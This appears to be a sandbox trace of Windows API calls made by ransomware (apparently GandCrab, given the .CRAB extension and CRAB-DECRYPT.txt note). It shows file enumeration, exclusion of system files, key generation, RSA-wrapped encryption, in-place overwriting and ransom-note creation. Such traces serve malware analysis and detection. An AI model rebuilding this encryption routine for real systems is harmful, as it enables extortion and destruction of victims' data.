	[0124.570] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.570] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0124.570] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.570] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\desktop.ini") returned 42
	[0124.570] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\desktop.ini") returned 42
	[0124.570] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0124.570] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.570] FindNextFileW (in: hFindFile=0x3166660, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.571] lstrcmpW (lpString1="lulcit amkdfe.contact", lpString2=".") returned 1
	[0124.571] lstrcmpW (lpString1="lulcit amkdfe.contact", lpString2="..") returned 1
	[0124.571] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="lulcit amkdfe.contact" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact"
	[0124.571] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.571] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact") returned 52
	[0124.571] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact") returned 52
	[0124.571] lstrlenW (lpString=".contact") returned 8
	[0124.571] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.571] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".contact ") returned 9
	[0124.571] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.572] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact") returned 52
	[0124.572] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact") returned 52
	[0124.572] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="desktop.ini") returned 1
	[0124.572] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="autorun.inf") returned 1
	[0124.572] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="ntuser.dat") returned -1
	[0124.572] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="iconcache.db") returned 1
	[0124.572] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="bootsect.bak") returned 1
	[0124.572] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="boot.ini") returned 1
	[0124.572] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="ntuser.dat.log") returned -1
	[0124.572] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="thumbs.db") returned -1
	[0124.572] lstrcmpiW (lpString1="lulcit amkdfe.contact", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.572] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.572] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CRAB") returned 57
	[0124.572] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact")) returned 0x20
	[0124.573] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact", dwFileAttributes=0x20) returned 1
	[0124.573] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact.crab")) returned 1
	[0124.574] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.574] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CRAB"
	[0124.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CRAB.CRAB"
	[0124.574] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e7c0) returned 1
	[0124.575] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.575] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.575] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.575] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.576] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0124.576] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.576] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0124.576] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.577] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.577] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.577] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.577] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.577] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.577] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.577] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.578] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0124.578] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3166560) returned 1
	[0124.578] CryptGetKeyParam (in: hKey=0x3166560, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.578] CryptEncrypt (in: hKey=0x3166560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.579] GetLastError () returned 0x0
	[0124.579] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.579] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0124.579] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31666e0) returned 1
	[0124.579] CryptGetKeyParam (in: hKey=0x31666e0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.579] CryptEncrypt (in: hKey=0x31666e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.580] GetLastError () returned 0x0
	[0124.580] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0124.580] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.580] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.580] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.581] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x496, lpOverlapped=0x0) returned 1
	[0124.610] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.610] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.610] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.611] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffb6a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.611] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x4a0, lpOverlapped=0x0) returned 1
	[0124.611] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.611] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.615] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.615] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.615] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.615] CloseHandle (hObject=0x3e8) returned 1
	[0124.615] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.616] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.622] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.624] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.624] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.625] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.625] FindNextFileW (in: hFindFile=0x3166660, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.625] lstrcmpW (lpString1="sikvnb huvuib.contact", lpString2=".") returned 1
	[0124.625] lstrcmpW (lpString1="sikvnb huvuib.contact", lpString2="..") returned 1
	[0124.625] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="sikvnb huvuib.contact" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact"
	[0124.625] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.625] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact") returned 52
	[0124.625] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact") returned 52
	[0124.625] lstrlenW (lpString=".contact") returned 8
	[0124.625] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.625] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".contact ") returned 9
	[0124.626] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.630] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact") returned 52
	[0124.630] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact") returned 52
	[0124.630] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="desktop.ini") returned 1
	[0124.630] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="autorun.inf") returned 1
	[0124.630] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="ntuser.dat") returned 1
	[0124.630] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="iconcache.db") returned 1
	[0124.630] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="bootsect.bak") returned 1
	[0124.630] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="boot.ini") returned 1
	[0124.630] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="ntuser.dat.log") returned 1
	[0124.630] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="thumbs.db") returned -1
	[0124.630] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.630] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.631] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CRAB") returned 57
	[0124.631] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact")) returned 0x20
	[0124.631] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact", dwFileAttributes=0x20) returned 1
	[0124.631] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact.crab")) returned 1
	[0124.632] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.633] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CRAB"
	[0124.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CRAB.CRAB"
	[0124.633] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0124.633] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.634] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.634] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.634] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.634] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.634] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0124.634] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.635] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.635] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.635] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0124.635] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.635] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.636] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.636] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e738) returned 1
	[0124.636] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31665e0) returned 1
	[0124.636] CryptGetKeyParam (in: hKey=0x31665e0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.636] CryptEncrypt (in: hKey=0x31665e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.637] GetLastError () returned 0x0
	[0124.637] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0124.637] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0124.637] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0xded768) returned 1
	[0124.637] CryptGetKeyParam (in: hKey=0xded768, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.637] CryptEncrypt (in: hKey=0xded768, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.638] GetLastError () returned 0x0
	[0124.638] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.638] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.638] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.638] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.639] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x51f, lpOverlapped=0x0) returned 1
	[0124.658] VirtualAlloc (lpAddress=0x0, dwSize=0x520, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.658] VirtualAlloc (lpAddress=0x0, dwSize=0x520, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.659] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.659] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffae1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.659] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x520, lpOverlapped=0x0) returned 1
	[0124.659] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.659] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.663] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.663] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.663] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.663] CloseHandle (hObject=0x3e8) returned 1
	[0124.663] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.664] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.664] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.664] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.664] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.664] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.665] FindNextFileW (in: hFindFile=0x3166660, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0124.665] FindClose (in: hFindFile=0x3166660 | out: hFindFile=0x3166660) returned 1
	[0124.665] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0124.665] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1
	[0124.665] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1
	[0124.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies"
	[0124.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\"
	[0124.665] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.665] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0124.665] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0124.665] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0124.665] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0124.665] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.665] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0124.666] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0124.666] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0124.666] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0124.666] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0124.666] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0124.666] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.666] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\\\CRAB-DECRYPT.txt") returned 47
	[0124.666] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\cookies\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
